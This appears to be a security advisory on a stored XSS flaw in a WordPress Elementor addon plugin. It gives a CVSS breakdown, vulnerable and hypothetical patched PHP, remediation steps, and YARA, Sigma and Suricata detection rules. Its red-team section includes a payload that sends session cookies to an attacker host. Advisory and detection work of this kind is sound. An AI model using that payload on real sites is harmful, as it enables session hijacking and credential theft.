CVE-2025-50038

Executive Summary

CVE-2025-50038 is a Stored Cross-Site Scripting (XSS) vulnerability in the Anant Addons for Elementor WordPress plugin, affecting versions up to and including 1.2.8. This vulnerability allows an authenticated attacker with contributor-level privileges or higher to inject malicious scripts into web pages generated by the plugin. When a site administrator or other user views the compromised page, the injected script executes in their browser, potentially leading to session hijacking, credential theft, or defacement. The vulnerability stems from improper neutralization of user-supplied input during web page generation, specifically within the plugin's widget or shortcode handling.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed through the official WordPress plugin repository. The plugin is not an NPM, PyPI, Go, or Ruby package. However, as a WordPress plugin, it is part of the WordPress ecosystem and can be installed via the WordPress admin dashboard or downloaded from wordpress.org. Users should verify the integrity of the plugin file by checking its SHA-256 hash against the official repository. The plugin's update mechanism is managed through WordPress, but no patched version has been released as of this analysis.

CVSS Breakdown & Threat Level

• CVSS Score: 6.5 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Contributor-level WordPress user)
• User Interaction: Required (Admin must view the compromised page)
• Scope: Changed (Impact on other components)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: Low

Threat Level: Medium. While the CVSS score is moderate, the potential for stored XSS in a widely-used Elementor addon could lead to significant compromise of WordPress sites, especially if exploited in a targeted campaign.

Deep Dive & Mechanics

The vulnerability exists in the anant-addons-for-elementor plugin, which extends the Elementor page builder with additional widgets. The plugin fails to properly sanitize and escape user input before storing it in the WordPress database and later rendering it in the browser. Specifically, when a user with contributor-level access or higher creates or edits a page using an affected widget (e.g., a testimonial, team member, or pricing table), the plugin does not validate or encode the input fields (such as name, description, or custom HTML). This allows an attacker to inject arbitrary JavaScript code.

The injected payload is stored in the WordPress wp_postmeta table as part of the page's metadata. When an administrator or any user with the capability to view the page loads it, the plugin outputs the unsanitized data directly into the HTML, causing the script to execute in the context of the victim's session.

Root Cause: The plugin uses echo or the_content filter without applying WordPress's built-in escaping functions like esc_html(), esc_attr(), or wp_kses_post() on user-supplied data.

Vulnerable vs. Patched Code

Since no official patch is available, the following is a hypothetical comparison based on common XSS remediation.

Vulnerable Code (Example from plugin):

// In a widget's render method
$name = get_post_meta( $post_id, 'anant_testimonial_name', true );
echo '<div class="testimonial-name">' . $name . '</div>';

Patched Code (Hypothetical):

// In a widget's render method
$name = get_post_meta( $post_id, 'anant_testimonial_name', true );
echo '<div class="testimonial-name">' . esc_html( $name ) . '</div>';

The patched version uses esc_html() to encode HTML special characters, preventing script injection.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A WordPress site with the Anant Addons for Elementor plugin (version <= 1.2.8) installed and activated.
• A user account with at least Contributor role.

Steps:

1. Log in as a Contributor.
2. Create a new page or edit an existing one using Elementor.
3. Add an affected widget (e.g., Testimonial).
4. In the "Name" field, enter the following payload:

   <script>alert('XSS')</script>
   

5. Publish or save the page.
6. As an administrator, view the page. The JavaScript will execute.

Advanced Payload:

<script>
fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>

Blue Team

Detection:

• Monitor for unusual JavaScript execution in the browser console.
• Check for unexpected script tags in page content.
• Use a Web Application Firewall (WAF) to block common XSS patterns.

Hunting:

• Search the WordPress database for stored XSS payloads:

  SELECT * FROM wp_postmeta WHERE meta_value LIKE '%<script>%';
  

• Review recent page edits by low-privilege users for suspicious content.

Indicators of Compromise (IOCs)

• File: /wp-content/plugins/anant-addons-for-elementor/ (entire plugin directory)
• Database: Entries in wp_postmeta containing <script> tags or encoded JavaScript.
• Network: Outbound HTTP requests to attacker-controlled domains from the WordPress server.
• Logs: WordPress debug logs showing PHP warnings related to unescaped output.

Detection Engineering

YARA Rule

rule CVE_2025_50038_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in Anant Addons for Elementor plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-50038"
    strings:
        $xss_payload = /<script[^>]*>.*?<\/script>/is
        $plugin_path = "anant-addons-for-elementor"
    condition:
        $plugin_path and $xss_payload
}

Sigma Rule

title: Stored XSS in Anant Addons for Elementor
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects stored XSS payloads in WordPress postmeta table
author: Valters IT
logsource:
    category: application
    product: wordpress
detection:
    selection:
        meta_value|contains: '<script>'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in posts (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-50038 Stored XSS Payload Exfiltration"; flow:to_server,established; content:"<script>"; http_client_body; pcre:"/<script[^>]*>.*?<\/script>/is"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patched version is released.
2. Review and clean any existing pages created with the plugin for malicious content.
3. Change all WordPress admin passwords if compromise is suspected.

Long-term Fix:

• The vendor must release a patched version that properly escapes output using esc_html(), esc_attr(), or wp_kses_post().
• Users should monitor the WordPress plugin repository for updates.

Workarounds:

• Implement a Web Application Firewall (WAF) with XSS rules.
• Restrict contributor-level users from using Elementor or specific widgets.
• Use a security plugin like Wordfence to block XSS attempts.

Valters IT
Securing Digital Frontiers